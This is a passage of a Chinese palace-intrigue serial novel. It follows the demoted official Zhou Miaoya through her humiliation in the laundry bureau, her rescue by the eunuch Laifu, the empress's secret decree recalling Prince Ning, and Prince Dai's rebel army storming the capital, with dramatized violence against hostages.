顾云舒并未理会他,只对着身边的如意说:“去,把周司典带来。” 如意愣了一下,抬头看她。 顾云舒没有说话,只是冲她点了点头。 如意低下头,应了一声,便退了出去。 周妙雅被带到前殿的时候,一眼就看见了魏琰,他脸上还噙着得意洋洋的笑容。 她低下头,走到皇后面前,跪了下去。 “皇后娘娘。” 顾云舒看着她,沉默了一会儿,才开口:“周司典,你可知罪?” 周妙雅愣了一下,抬起头。 顾云舒的目光落在她脸上,没有温度。 周妙雅忽然明白了什么。 她低下头,伏在地上。 “下官…知罪。” 良久,顾云舒终于开口:“周司典,谎称毁容,欺瞒陛下,本应重罚,但陛下仁慈,既已宽恕,本宫也不便再追究。然你言行失当,有害宫闱,不宜再留任司记司。” 周妙雅就这么伏在地上,对着冰冷的地面,一动不敢动。 顾云舒的声音自她头顶传来,冷得像数九寒冬里结冻的井水: “即日起,革去周妙雅尚宫局司记司正七品司典之职,贬入浣衣局,以儆效尤。” 听到这里,周妙雅闭上了双眼。 浣衣局。 那是宫里最低等的地方,浆洗洒扫,粗使贱役,住的屋子四面漏风,吃的饭食是馊臭的也无人过问。进去的人,十个里头有九个,再也出不来了。 她伏在地上,重重磕了一个头。 “下官…领罚。” 魏琰站在一旁,将这一幕尽收眼底,唇角的笑意愈发深了。 他看了一眼周妙雅,又看了一眼皇后,满意地拱了拱手。 “皇后娘娘秉公处置,咱家佩服,咱家这便告退。” 话音落下,他领着身后几个太监,扬长而去。 ———— 自被贬去浣衣局,周妙雅的日子便彻底换了个天地。 浣衣局坐落在皇城西北角,紧挨着冷宫,院落低矮潮湿,四面漏风。 庭院中摆着一排排巨大的木盆,盆里堆着各宫各局送来的衣裳,浆洗不尽,永无宁日。 周妙雅被分到了一间小屋,说是屋,其实不过是个窝棚,比在西山被霍隗刁难时,住的那间四处漏风的废园好不到哪去。 一张木板搭的床,一床薄被,墙角堆着几个豁了口的破盆,屋内阴冷潮湿,被褥触/手濡湿,像是几十年未曾见过日头一般。 她没有哭。 只是一个人枯坐在那张木板床上,望着窗外灰蒙蒙的天,坐了许久。 翌日一早,她便被唤起来上工。 管事的太监姓陈,年约五旬,生得精瘦,一双眼睛总是半眯着,看人时带着几分阴恻恻的笑意。 他将周妙雅带到院中,指着那一排排的木盆,吩咐道:“这些,都是你的。” 周妙雅望着那堆积成山的衣物,没有说话。 陈太监笑了笑,那笑容教人瞧了心底发寒。 “周司典。” 他开口,刻意将司典二字咬得极重:“哟,不对,如今可不敢再叫周司典了,浣衣局里可没有司典,只有浆洗的贱奴。” 周妙雅垂着头,一言不发。 陈太监站在那里等了片刻,见她仍是不出声,倒也不恼。 只见他凑近一步,压低声道:“在这浣衣局,是咱家说了算,你从前那些事,咱家管不着,可既到了这儿,就得守这儿的规矩,咱家让你洗什么,你便洗什么,咱家让你何时洗完,你便得何时洗完,洗不完,就没饭吃。” 周妙雅垂眸,点了点头。 那陈太监满意地笑了笑,转身便离去了。 周妙雅蹲下身,将手探入冰凉的水中,开始浣洗。 木盆里,洗衣水刺骨的凉,她将手探入盆中,瞬息间便被冻得通红。 她咬着牙,一下一下地搓洗,不敢停歇。 旁边有几个宫女也在浣衣,一边洗,一边拿眼梢瞟着她。 周妙雅低着头,只当没看见。 可那些窃窃私语,还是飘进了她的耳朵里。 “就是她吧?那个主动爬龙床的…” “可不是么!听说把陛下克得病倒了,才被贬来这儿来的。” “长得倒是好看,难怪能爬龙床。” “好看有什么用?还不是被贬到这来,和咱们一样,干这低贱的粗活。” “活该,谁让她命里带煞呢。” 污言秽语飘到耳边,周妙雅的睫毛颤了颤,仍不作声,只是低着头,继续浣洗。 日子一天天地过去,她每天天不亮就要起来,一直洗到天黑,昔日那双执笔丹青的手,如今日日浸在这冰水里,泡得发白,发皱,继而裂开口子,渗出血珠,结痂,再裂开。 没有人管她疼不疼。 这日,陈太监又来了。 他站在院子里,看着周妙雅,眯起眼睛笑了笑: “周妙雅,今儿可有个好差事给你。” 周妙雅抬起头,看了看他。 只见那陈太监从身后拎出个篮子,往她面前一掷。 那篮中装着的是数十条男子的亵裤,脏污泛黄,更有甚者,上头还沾着可疑的渍迹。 周妙雅的脸色霎时变了,血色尽褪。 那陈太监瞧着她那副神情,笑意愈来愈盛。 “怎么?嫌脏?” 陈太监嗤笑了一声:“这可都是宫里各位公公的,既然入了浣衣局,什么活计不得沾手?这些,今儿个必须得洗完,若是洗不完,就别想吃饭!” 周妙雅望着那一篮子秽物,嘴唇动了动,却终究是一言未发。 陈太监等了一会儿,不见她动,面色倏然沉了下来。 “怎么?不愿意?” 他往前逼了一步:“你以为你还是那个高高在上的周司典?在这儿,你就是个贱奴,让你洗什 么,你就得洗什么!” 周妙雅低着头,缓缓伸出手,将那篮子接了过来。 孙太监满意地笑了笑:“这就对了,好生浣洗,洗干净些。” 说罢,他转身就回屋去喝茶嗑瓜子了。 周妙雅端着那篮子,走到木盆边,蹲了下来。 她将那些污秽物倒入盆中,水花溅起,溅到了她的脸上,她抬手擦了擦,开始浣洗。 旁边几个宫女看见了,捂着嘴笑。 “哟,洗那个呢…” “活该,谁让她勾引陛下。” “就是,报应。” 周妙雅埋着头,一下一下地搓洗,手上裂开的口子被水一浸,钻心地疼,她咬着牙,生生忍着。 她洗了许久,久到日影西斜,久到院中人都散了,她还在洗。 陈太监又来了,他站在她身后,看着那一盆还没洗完的东西,冷笑了一声:“还没洗完?那今晚便饿着罢。” 周妙雅没有说话,她只是低着头,继续洗。 那陈太监冷哼了一声,便拂袖而去了。 天色逐渐黯淡了下来。 院子里只剩下周妙雅一个人,她蹲在木盆边,借着月光,继续洗,手已经麻木了,感觉不到疼。 肚子饿得咕咕叫,她已经一整天没吃东西了。 但她不敢停,洗不完,明天也没饭吃。 月光照在她身上,把她影子拉得很长,她就那么蹲着,佝偻着背,像一只被遗弃的猫。 不知过了多久,她突然听到身后传来了脚步声。 她没有回头,这些日子,见惯了人间冷暖,在浣衣局,不会有人来帮她。 脚步声越来越近,在她身后停了下来。 “周司典。” 一道声音自她身后响起,不高,却字字清晰。 周妙雅瞬间怔住了,她缓缓转过头去。 月色下,站在一个穿藏蓝色贴里袍的太监。 是来福。 周妙雅看着他,眼眶已微微泛红,她张了张嘴,想说些什么,却什么都说不出来。 来福看着她,看着她的满是伤口的手,看着她面前那一盆污秽之物,面色愈发沉郁。 “谁让你洗这些的?” 周妙雅低下头去,没有回答他。 来福也不需要她回答,只见他转过身,大步大步地往浣衣局的管事房走去。 陈太监正在屋里喝茶,听见门被粗暴踹开的声音,他吓了一跳,手里的茶盏差点掉在地上。 他抬起头,看见来福站在门口,脸色阴沉得吓人。 他自是知道来福是魏公公的干儿子,那可是魏公公身边的红人,不是他这等低阶太监能惹得起的。 “来…来福公公?” 他忙站起身,脸上堆起了笑:“什么风把您给吹来了?” 来福几步上前,逼至他面前,死死盯着他:“那些秽物,是你让周司典浣洗的?” 陈太监愣了一下,脸上的笑瞬间便僵住了:“这…这是浣衣局的规矩…” “规矩?” 来福冷笑了一声:“咱家怎不知道,浣衣局有让人浣洗亵裤的规矩?” 孙太监张了张嘴,还想辩解,却欲辩无言。 只见来福一个箭步上前,拧住陈太监的耳朵,将他往屋外拖去。 陈太监捂着耳朵,哀嚎道:“疼…疼!” 浣衣局的宫女听得动静,俱都扒着窗角探出头来,不敢明目张胆地张望。 来福将陈太监拖至周妙雅面前,指着木盆中那些未浣洗完的亵裤,厉声道:“这些秽物,你自己浣洗干净。” 陈太监彻底怔住了,尚未从耳际的剧痛中回过神儿来。 只见来福一脚将陈太监踹跪在地:“你洗还是不洗?” 陈太监磕着头,哀求道:“小的洗,小的洗,还请来福公公,在魏公公面前替小的美言一二。” 来福没搭理他,只是径直走到周妙雅面前,柔声道:“周司典,起来吧。” 周妙雅抬起头,望向来福。 月光洒在她脸上,映出她红肿的眼与干裂的唇。 她缓缓起身,腿有些麻,晃了晃,扶住木盆才站稳。 来福看着她,看着她那双泡得发白,满布裂口的手,默然了片刻。 “跟咱家走。” 周妙雅怔了怔:“去哪儿?” “跟咱家回猫苑。” 第132章 来福将周妙雅带到了猫苑。 周妙雅对此地并不陌生, 此前在西苑,虚云子欲要轻薄她,也是来福将她救下, 并带她来猫苑疗伤。 她很喜欢这里, 有种治愈的温馨, 与小猫们相伴,可以让她暂时忘却烦恼。 来福打开猫苑暖阁的门,引周妙雅进来。 屋内还是那样干净整洁,炭盆里烧着火,暖融融的,与外头凛冽肆虐的寒风相比,恍若两个世界。 来福让周妙雅坐下, 执起她的手,看了看那些伤口, 不由得皱了皱眉。 随即, 他转身从柜中取出了一只小瓷瓶,走回到她身前,蹲下身来。 他打开瓷瓶, 一股药香飘了出来。 “周司典,请把手伸出来。” 周妙雅怔了怔, 缓缓将手递了过去。 来福托住她的手,另一只手以小竹片挑起药膏, 轻轻敷在了她裂开的口子上。 那药膏凉凉的,涂上去, 刺痛了一下,很快就不疼了。 周妙雅看着来福,不由得心生感激, 浣衣局里,那些宫女如躲瘟疫般躲着她,那些太监不怀好意地推搡她,根本无人会顾惜这双泡烂的枯手。 这双手,也曾执笔丹青,修复典籍,治病施针,救死扶伤,只是没想到,如今竟落得这般田地。 她自嘲地笑了笑。 屋内很安静,只有炭火偶尔噼啪一声。 涂完了药,来福搁下瓷瓶,站起身来。 周妙雅抬起头,望向他:“谢谢来福公公。” 来福摇了摇头,没有说话。 周妙雅垂下头,又望了望自己的手,药膏涂得很均匀,每一道口子都有被顾及到。 她忽而想起很久以前,在宁王府的时候,朱弘毅也曾这般为她上药。那时她的手因照看顾凌云,被翻落的滚烫药碗烫伤,起了水泡,朱弘毅执着她的手,紧张得不成样子。 那些在宁王府的日子… 她不敢再想下去,哪怕再多思念一分,都是贪恋。 她站起身,走到猫窝前,强迫着自己将思绪拉回。 几只猫蜷缩在竹筐编成的猫窝里,懒懒地睡着,其中有一只橘色的,正在舔自己的爪子。 周妙雅蹲下身,伸出手。 那只橘猫看了她一眼,迟疑了片刻,缓缓地走了过来,用脑袋蹭了蹭她的手指。 周妙雅的唇角微微扬了起来。 她将那猫抱起,搂入怀中,那只猫身上暖融融的,在她怀里蹭了蹭,发出咕噜咕噜的叫声。 她抱着猫,走了回来,在床边坐了下来。 那只猫在她怀里蜷成了一团,慵慵懒懒的。 周妙雅低头看着它,手指轻轻抚着它的毛。 那毛软软的,滑滑的,与她这些日子在浣衣局浣洗的那些粗布衣裳,全然不同。 她忽然觉得眼眶有些发酸。 她已许久未曾抱过这般温暖之物了。 过了好一会儿,她抬起头,望向来福。 她犹豫了片刻,还是问出了那句心底一直想问的话:“来福公公,您为何要帮我?” 来福站在桌边,看着她,沉默了很久。 良久,他才说出了那句:“受人所托。” 只这一瞬间,周妙雅全明白了。 她的眼眶霎时便红了,泪水在眼眶中打着转。 周妙雅的声音有些发颤:“来福公公,若您知晓真相,我求您,求您告诉我好吗?他还活着吗?他现在到底在哪?” 来福望着她,望着她微微泛红的眼眶,望着她抱猫的手在微微发颤。 那双手刚涂了药,可裂口犹在,红肿犹在,那些日日夜夜受的苦,都刻在了那双手上。 他轻轻地叹了一声,继而说道:“宁王殿下不仅未被俘,辽东如今已然换了一番格局。” 周妙雅瞬间怔住了,她以为自己听错了。 来福继续说道:“他现今已是独当一面的大将军,海州,广宁,宁远,山海关,尽在他的手中。如今辽东的兵马,粮草,百姓,皆听命于他。” 周妙雅再也抑制不住,泪水霎时夺眶而出。 她就那般抬着泪眼,望着来福,肩膀止不住地颤抖着,整个人泣不成声。 “徐先生如今也在辽东。”来福没有停,继续说着。 周妙雅抬起手,抹了抹面上的泪痕:“徐师傅也在么?” 来福重重点了点头:“徐先生也在,他们一起在辽东建功立业,垦荒屯田,练兵御敌,抗击北狄,整个辽东,如今已然换了天地。” 周妙雅再也绷不住了。 她抱着那只猫,哭出声来。 不再是压抑的,无声的流泪,而是真正的恸哭,她肩头一耸一耸的,喉间溢出呜呜的哭声,泪如决堤,怎么也止不住。 那猫被惊醒了,抬头看了看她,却并未逃开,只是用脑袋蹭了 蹭她的下颌,又缩回她怀中,继续咕噜作响。 周妙雅哭着,却也在笑。 “我就知道…” 她哽咽着,声音断断续续:“我就知道他可以…” 她抬起头,望向来福,泪流满面,嘴角却扬着。 “我就知道,二郎他可以的!” 周妙雅说着,忽然站起身来。 她抱着那只猫,走到来福面前,将猫轻轻放在了地上。那只猫抬头看了看她,喵了一声,自己走回猫窝去了。 只见周妙雅退后了一步,膝头一曲,噗通一声直直跪了下去。 来福瞬间怔住了。 “周司典!”他忙伸手去扶:“你这是做什么?快起来!” 周妙雅只摇了摇头,不肯起来。 她跪在地上,抬起头,望着来福,面上尽是泪痕,双眼红肿,唇瓣干裂,整个人憔悴得不成样子。 可那双眼睛,却依旧亮得惊人。 “来福公公。” 她开口,嗓音沙哑,却一字一句,清清楚楚:“妙雅自知如今是戴罪之身,本不该再提什么请求。但妙雅还是想求来福公公,帮我一个忙。” 来福弯下腰,声音放的很轻:“周司典不必如此,先起来说话。” 周妙雅哭着摇了摇头:“来福公公,浣衣局没有司典。我犯了欺君之罪,是陛下宽厚,才留了我一条贱命。” 她说着,伏下身去,额头触地。 咚。 一声闷响。 来福忙伸手去扶她。 周妙雅跪在地上,抬起泪眼:“只求来福公公,能帮我再见皇后娘娘一面。妙雅有重要的事,今夜必须见到皇后娘娘。” 来福望着她,着那个本该高高在上,才华横溢的女官,如今却被磋磨成这般模样。 他想起朱弘毅临行前的话:“来福,我不在时,替我照顾好她。” 来福看着她,看了很久。 然后他弯下腰,伸出手,扶住了她的臂弯:“周司典,先起来。” 周妙雅抬起头,看向他。 来福没有松手,只是望着她,一字一句道:“咱家答应你。” 周妙雅的眼泪又流了下来。 她伏在地上,复又磕了一个头。 “多谢来福公公…多谢来福公公…” ———— 坤宁宫。 夜已深,殿内烛火摇曳,映得满室昏黄。 顾云舒倚在暖榻上,手里捻着那串沉香念珠,阖着眼,眉心紧蹙。 这几日事端迭起,皇帝病倒,代王造反,魏琰逼宫,周妙雅被贬浣衣局,这一桩桩,一件件事,让她这皇后,做得心力交瘁。 殿外突然传来脚步声。 顾云舒睁开眼,看向门口。 如意快步走到她身边,压低声音禀报道:“娘娘,来福公公带着周司典来了。” 顾云舒眼眶有些微微泛红,忙起身道:“快,快带他们进来。” 周妙雅随在来福身后,走进了阔别已久的坤宁宫大殿,她的脚步有些虚浮,每走一步都像踩在棉絮上一般。 她身上仍是浣衣局的那身粗布衣裳,鬓发有些微乱,面上还带着未及拭净的泪痕。 只见她径直走到了大殿中央,噗通一声便跪了下去。 膝盖重重砸在了地上,发出一声闷响。 顾云舒站起身,想要说什么,却见周妙雅已经伏下身去,额头触地。 咚,咚,咚… 三声响头,在殿内回荡。 顾云舒快步走上前去,弯下腰,伸手去扶她。 “起来!” 她的声音有些发紧:“快起来。” 周妙雅并未起身。 她跪在地上,抬起头,望向顾云舒。 烛火映在她的脸上,照亮了她红肿的眼,干裂的唇,还有那张憔悴得不成样子的脸。 这还是那个意气风发,才华横溢,在女官大考中勇夺魁首的周妙雅吗? 这还是那个智破逍遥散,在蹴鞠案中救她一命的周妙雅吗? 顾云舒看着她,心口像是被什么狠狠攥紧了一般。 “妙雅…” 她轻声唤着她,声音有些发颤:“你怎么成了这副模样?” 周妙雅的眼泪瞬间便落了下来。 但她没有哭出声,只是任由眼泪肆意地流着,跪在地上,一字一句地开口: “罪女周妙雅,跪求皇后娘娘懿旨,密令宁王殿下携辽东军回京,平代王叛乱,清君侧!” 顾云舒整个人瞬间僵住了。 她盯着周妙雅,似不敢相信自己听到的话。 “宁王?” 顾云舒喃喃道:“他…他不是被北狄人俘虏了?” 周妙雅重重地摇了摇头。 “没有!”她坚定说道:“宁王殿下,他没有被俘。” 顾云舒的呼吸滞了一瞬。 周妙雅继续说道:“宁王殿下不仅没有被俘,辽东如今已然换了天地,海州,广宁,宁远,山海关,尽在他掌中。辽东的兵马,粮草,百姓,皆听命于他。” 顾云舒怔怔地看着她,一时说不出话来。 周妙雅抬起头,迎上了她的目光:“来福公公,是宁王殿下的人,宁王殿下临行前,曾托来福公公照顾我,在浣衣局的这段日子,一直是他在暗中护着我。” 顾云舒猛地看向站在一旁的来福。 来福没有说话,只是微微垂首,算是默认。 顾云舒慢慢坐回榻上,盯着周妙雅,目光复杂。 良久,她才开口:“这就是你那日从乾清宫回来,让孙女官跟本宫说的那件事?” 周妙雅重重点了点头。 原来那日自乾清宫归来,周妙雅与孙女官耳语的内容,便是让孙女官务必转告皇后,在泰和帝昏迷期间,将传国玉玺收好,以防有人趁乱窃国。 只见周妙雅跪于地上,又重重磕了一个头:“李太妃,康敏之,魏琰,勾结北狄,意图窃国。” 顾云舒的脸色霎时变了。 周妙雅却并未停下,只听得她继续求道:“求皇后娘娘下令,诏宁王殿下回京平乱。” 殿内瞬间静了下来。 静得只能听见炭火噼啪作响的声音。 顾云舒坐在榻上,良久… 只见她忽然站起身,走到了周妙雅的面前。 她俯下身,伸出手,将她扶了起来。 周妙雅愣住了。 顾云舒没有松手,只是看着她,一字一句道: “你跪了这许久,磕了这许多头,本宫若再不答应,便枉为这六宫之主,枉为这大晟的皇后。” 周妙雅的眼泪又流了下来。 顾云舒转过身,看向如意。 “如意。” 如意上前一步。 “将传国玉玺拿来。” 顾云舒行至书案前,提笔铺开了一张空白的懿旨,笔尖行于纸上,一字一句,写得清清楚楚。 写毕,她盖上凤印,又取出传国玉玺,重重按下。 “传本宫懿旨,密令锦衣卫副指挥佥事顾凌云,亲赴辽东,诏宁王朱弘毅回京,平叛乱,清君侧!”—— 作者有话说:要燃起来了!!!小朱!!全村的希望!!!我一整个爆哭!!! 妙雅:我不认命!我不服!我要把二郎喊回来! 第133章 自来福教训了陈太监后, 往后的日子,浣衣局便无人敢再欺辱周妙雅。 浣衣局那些宫女们再不敢指着周妙雅窃窃私语,偶尔在院中遇见, 也都低着头匆匆避开。陈太监更是绕着她走, 连正眼都不敢对一下。 周妙雅依旧浣洗着那些衣裳, 可手上的裂口已渐渐愈合,能按时吃上饭了,夜里也能睡个安稳觉了。 她有时会想起那只橘猫,偶尔得闲时,便会去猫苑喂它,那橘猫也与她愈发亲近了。 与此同时,她也掰着手指算着日子。顾凌云已出发许久, 该是到辽东了。他是否见到了朱弘毅?是否将皇后的懿旨带到了?他们何时才能归来? 皇城内,日出日落依旧。 她在等, 等那个人回来。 ———— 代王大军一路东进, 势如破竹。 宣府破了,居庸关也破了,八百里加急的战报一封接着一封被 送进京城, 一封比一封更急,更慌。 魏琰在司礼监坐不住了。 京城的军队, 他比谁都清楚是什么货色。 那些兵,名义上是京军, 实际上早成了外戚,权贵, 纨绔子弟的养老之地。平日里吃空饷,喝兵血,真要打仗, 能顶什么用? 可是没有办法,代王的兵已打到了城下,他必须得上。 无奈之下,魏琰硬着头皮,领着那群少爷兵,上了德胜门。 德胜门外,黑压压一片尽是代王的大军。 旌旗猎猎,刀枪如林,一眼望不到头。 魏琰站在城门楼上,看着此情此景,腿已有些发软。 他瞥了一眼身侧被缚着的安和郡主与文毓瑜,心下稍定。 安和郡主面色惨白,唇瓣都在颤抖,她身侧的文毓瑜,比她更是不堪,整个人软如一滩烂泥,若非被绑着,早已瘫软在地。 魏琰壮了壮胆,往前站了一步,冲着城门楼下喊话:“代王!你瞧瞧这是谁?” 他一把揪住安和郡主,将她整个人拽到城墙边,按着她的头,迫使她从垛口探出身去。 “这是你的独女,安和郡主!你若不撤兵,今日咱家便让她死在这城门楼上!” 城下的大军静了一瞬。 而后,忽闻一阵笑声自军阵中传了出来。 只见代王策马,从军阵中缓缓行出。他仰着头,望向城门楼上被缚的女儿,脸上的笑意却愈来愈盛。 “女儿?” 他嗤笑了一声:“本王根本就不在乎。” 安和郡主的脸色霎时就变了,血色尽褪。 只听得代王继续笑道:“一个女儿而已,弃了又有何妨?” 安和郡主的泪瞬间大滴大滴地落了下来,她想冲着父王喊些什么,却发现根本就喊不出声。 代王随即将目光转向文毓瑜:“至于这个彻彻底底的鼠辈小人,当初为了攀附我代王府,撕毁与表妹的婚约,将养他长大的祖母活活气死,后来娶了郡主还不知收敛,将扬州瘦马搞大肚子,养小倌,男女通吃…” 他顿了顿,笑意里满是嘲讽: “此等罪大恶极之人,还想用来威胁本王?” 魏琰的脸色也变了。 他张了张嘴,想说些什么,却见代王已经举起弓。 弓弦拉满,箭尖对准城门楼。 文毓瑜吓得大叫:“不要!不要!岳父大人…” 话音未落,箭已离弦。 嗖—— 一声破空。 文毓瑜的叫声戛然而止。 他低头看了看自己的胸口,那里多了一支箭,箭尾犹自在颤。 他张了张嘴,还想再说些什么,却只吐出了一口鲜血。 而后便径直倒了下去。 倒在了城门楼上,倒在了安和郡主的脚边。 安和郡主愣了一瞬,继而发出一声撕心裂肺的尖叫:“夫君!” 那尖叫声尖利刺耳,在城门楼上回荡。 魏琰站在原地,腿彻底软了,他扶着城墙,才迫使自己没有倒下去。 城下,代王收起弓,不屑地看了他一眼。 那一眼里,没有愤怒,没有仇恨,只有一种淡淡的嘲讽。 魏琰扶着城墙,望着城下黑压压的大军,脑海中一片空白。 完了。 全完了。 他以安和郡主相逼,代王根本不在乎,他以文毓瑜相胁,代王一箭射死了他。 如今文毓瑜的尸身还躺在他的脚边,血流了一地,安和郡主跪在一旁,哭得浑身颤抖。 他还有什么筹码? 魏琰喘着粗气,盯着城下的代王。 代王骑在马上,正仰头看着他,脸上仍带着嘲讽之色,似在看一只垂死挣扎的蝼蚁。 魏琰的胸口剧烈地起伏着,他越想越气,忽然猛地转过身,一把掐住了安和郡主的脖颈,将她从地上拎了起来。 安和郡主尚未来得及反应过来,便被魏琰拖至城墙边。 “啊!” 她尖叫着,双手拼命去掰魏琰的手,可魏琰的手如铁钳一般,死死掐着她的脖颈,将她按在了垛口之上。 安和郡主的大半个身子已探出了城墙之外。 下面是数十丈的虚空,黑压压的军阵混着密密麻麻的刀枪。 魏琰只要一松手,她便会掉下去,如此高度,必死无疑。 安和郡主吓得魂飞魄散,涕泪横流,声音都变了调:“魏公公…不要…求您…不要…” 魏琰根本不看她。 他盯着城下的代王,双目通红,状若疯魔。 “代王!” 他嘶吼着:“你瞧瞧!这是你的女儿!你的亲生女儿!你再不撤兵,我便松手了!” 安和郡主被勒得喘不过气,脸憋得通红,泪止不住地往下流。 她想喊父王救我,可嗓子被掐着,根本喊不出声。 城下,代王抬起头,望着城门楼上的这一幕。 他望着自己的女儿悬在城墙外,眼睁睁地看着她在魏琰手里挣扎,泪水混着恐惧乱飞。 可他面上的神情,没有任何变化。 仍是那副淡淡的嘲讽。 良久,他开口,声音不高,却清清楚楚地传上城门楼:“魏琰,你演够了没有?” 魏琰彻底怔住了。 代王看着他,就像在看一个笑话。 “你以为本王会在乎?” 代王笑了笑:“本王方才已经说过,一个女儿而已,弃了便弃了。” 安和郡主的泪霎时便停住了。 她简直不敢相信自己听到的话。 那是她父王,那是自幼将她捧在手心的父王,那是她出嫁时亲手送她上花轿的父王! 他说…弃了便弃了? 魏琰也怔住了,他没有想到,代王竟真的不在乎。 可他已然疯了。 他越想越气,越想越恨,掐着安和郡主脖颈的手,越收越紧。 安和郡主的脸由红变紫,双眼开始往上翻。 “魏…公…”她挣扎着,气息越来越弱。 魏琰盯着城下的代王,眼底的火几乎要烧出来。 “好!” 他发疯般地吼道:“你不要是吧?那咱家就让你瞧瞧!” 他猛地一松手。 安和郡主整个人从城墙外坠了下去。 “啊——!” 尖叫声越来越远,越来越小。 而后,一声闷响。 城墙下,安和郡主的尸身重重摔在了地上,血慢慢洇开,染红了脚下的土地。 魏琰喘着粗气,扶着城墙,望向城下。 他以为代王会慌,会怒,会撤兵。 可代王只是低头瞥了一眼地上的尸身,复又抬头,淡淡地看了他一眼。 那眼神似在说:你以为这样就能威胁本王? 魏琰的腿彻底软了,绝望裹挟着他,虚扶着城墙,几乎站不住。 城下,代王抬起手,对着身后大军挥了挥:“攻城。” 军令落下,城下黑压压的军阵开始动了。 刀枪如林,旌旗猎猎,他们踏过安和郡主的尸身,向德胜门涌来。 魏琰站在城门楼上,望着这一切,脑海中一片空白。 他身边,京军的那些少爷兵早已吓得腿软,有的扔下兵器便跑,有的瘫在地上起不来,有的干脆抱着头嚎啕大哭。 无人能还手。 也无人敢还手。 城下,喊杀声震天,城楼上,魏琰扶着城墙,浑身发颤。 他完了。 全完了。 代王大军攻破了德胜门。 城门被撞开的那一刻,京军彻底溃散。那些少爷兵跑的跑,降的降,没几个敢真正动手的。代王的军队如潮水般涌进城门,一路高歌猛进,直逼皇城。 火光冲天,喊杀声震耳。 代王骑在马上,领着大军穿过街巷,所过之处,守军皆望风而降。 不到两个时辰,皇城已被围得水泄不通。 魏琰被人从城门楼上押下,五花大绑,推至大军阵前。 他被按着跪在地上,抬起头,见代王骑在马上,居高临下地望着他。 半晌,代王才开口:“魏贼,本王问你,传国玉玺在哪里?” 魏琰愣了一瞬。 代王看着他,面无表情,继续说道:“你若是交出传国玉玺,本王可以留你一具全尸。” 魏琰的嘴 唇动了动。 忽然,他仰天而笑。 那笑声从喉咙里挤出来,沙哑刺耳,在空气中回荡。 “传国玉玺?” 他笑着抬起头,看着代王:“你找咱家要传国玉玺?” 代王的眉头瞬间蹙紧。 魏琰的笑意却愈来愈盛,几近癫狂。 “传国玉玺,早就不在咱家手里了!” 他吼道:“传国玉玺早就被皇后那贱人拿走了!你去找她要啊!去啊!” 代王看着他,没有说话。 魏琰喘着粗气,跪在地上,浑身发抖,但他脸上的笑,却一刻也没有停。 ———— 皇城内一片慌乱。 宫人四散奔逃,不知该往何处躲藏,各宫各局的灯都亮着,却无人敢大声说话。 来福穿过慌乱的宫人,快步往浣衣局走去。 他在浣衣局的院中寻到了周妙雅,她正静静地站在那儿,望着远处冲天的火光,不知在想些什么。 “周司典。” 来福快步行至她面前,压低声道:“如今情势危急,代王大军已破德胜门,包围了皇城,魏琰被擒了。” 周妙雅转过头,望向他,仿佛这些消息对她来说,并不算意外。 来福继续说道:“周司典,跟咱家走把,咱家知晓有一条密道,可以暂避风头。” 周妙雅没有应他。 来福急了,伸手便去拉她:“快走吧!再晚便来不及了!” 只见周妙雅十分淡定地摇了摇头。 来福彻底怔住了:“周司典?” 周妙雅望向他,目光很平静: “来福公公,代王既已围了皇城,下一步,便是要找到传国玉玺。” 来福的手霎时顿在半空。 周妙雅继续说道:“魏琰被擒,他定会说出传国玉玺的下落,现在当务之急,是要保护皇后,保护传国玉玺。” 来福的脸色霎时变了,只见他压低声音说道:“周司典,那是去送死…” 周妙雅点了点头:“我知道。” 来福看着她,看着她那双眼睛,在火光的映照下,眼底依旧亮得惊人。 半晌,他还是忍不住开口道:“可咱家答应过宁王殿下,要保护你。” 周妙雅看着他,忽然笑了笑。 那笑容很淡,却让人移不开眼。 “来福公公,我没事,现在,请带我去坤宁宫。” 来福看着她,沉默了很久。 而后,他重重点了点头。 “好,咱家带你去。” 第134章 周妙雅与来福自坤宁宫后门悄悄潜入时, 只听得前院异常喧哗,似站满了人。 那些太监膀大腰圆,眼神凌厉, 一看就不是寻常的内侍, 倒像是东厂的那些打手。 他们的手按着腰间, 虽有衣服挡着,可那里却鼓鼓囊囊的,像藏着家伙。 好在那些番子都集中在前院,来福拉着周妙雅,贴着后院的墙根,一点一点往里挪动。 在走到小屋附近时,周妙雅突然停下了脚步。 来福回头, 讶异地看了她一眼。 周妙雅指了指那间她曾经住过的小屋,压低声音道:“来福公公, 请等我一下。” 来福还没来得及开口, 她已经闪身进去了。 自她去浣衣局之后,小屋的陈设并没有变,屋内依旧干净整洁, 孙女官每日都会派人来打扫。 周妙雅快步走到柜前,拉开了柜门。 那堆衣服还在, 叠得整整齐齐的。她将衣服拨开,把手探到了衣柜的最深处。 手触到了那个冰凉的东西… 火铳。 她将它取出, 握在手心里。 火铳沉甸甸的,金属的凉意顺着掌心往上走。 她低头看了一眼, 快速将它收进长衫的广袖中,转身出了门。 来福瞥见她手里的东西,愣了一下, 但没有问,只是点了点头,继续在前面引路。 他们穿过长廊,从后门入了正殿,躲在了一扇巨大的屏风后面。 那屏风是紫檀木的,上面镶着大理石,又厚又重,足可藏住二人。 透过屏风的缝隙,能看清楚正殿里的一切。 正殿内灯火通明。 李太妃站在大殿中央,身后跟着几个膀大腰圆的嬷嬷,她身着一身绛紫色的长衫,露出一截金光闪闪的织金马面裙,面上还挂着笑。 那笑容,周妙雅曾经见过。 无论是在西苑,还是在御花园,每一次李太妃出现的时候,面上都挂着那温婉得体的笑容,让人挑不出任何毛病。 可此刻,在烛火的映照下,那笑容却显得格外阴森。 康敏之站在她身侧,一身大红官服,负手而立,目光落在端坐于暖榻之上的皇后身上。 顾云舒腰杆挺得笔直,手中捻着那串沉香念珠,一动不动。 如意侍奉在一旁,虽脸色惨白,但并未退却。 殿内此刻安静的针落可闻。 唯有烛火声噼啪作响。 半晌,李太妃终于开口了,声音仍是那么柔柔的:“皇后娘娘,臣妾也不想为难您,只要您将传国玉玺交出来,臣妾保证,您与您身边的人,都能平平安安的。” 顾云舒并未言语,她只是平静地捻着手中的念珠,一颗,又一颗。 李太妃等了片刻,不见她回应,面上的笑容逐渐淡了下去。 待她再开口时,话里的意思却冷了几分:“皇后娘娘,臣妾敬您是皇后,才好言相劝,您可别敬酒不吃吃罚酒。” 顾云舒抬起眼,看向她。 那目光平静得很,像一潭死水。 “李太妃。” 她声音不高,却清清楚楚:“本宫倒要问问你,你算是个什么东西,也配与本宫要传国玉玺?” 听到这话,李太妃的脸色霎时就变了。 但她很快又笑了: “皇后娘娘,您说这话,可就太伤人心了,臣妾是太妃,是先帝的妃嫔,陛下的养母,位同太后,怎么就不配了?” 顾云舒冷笑了一声。 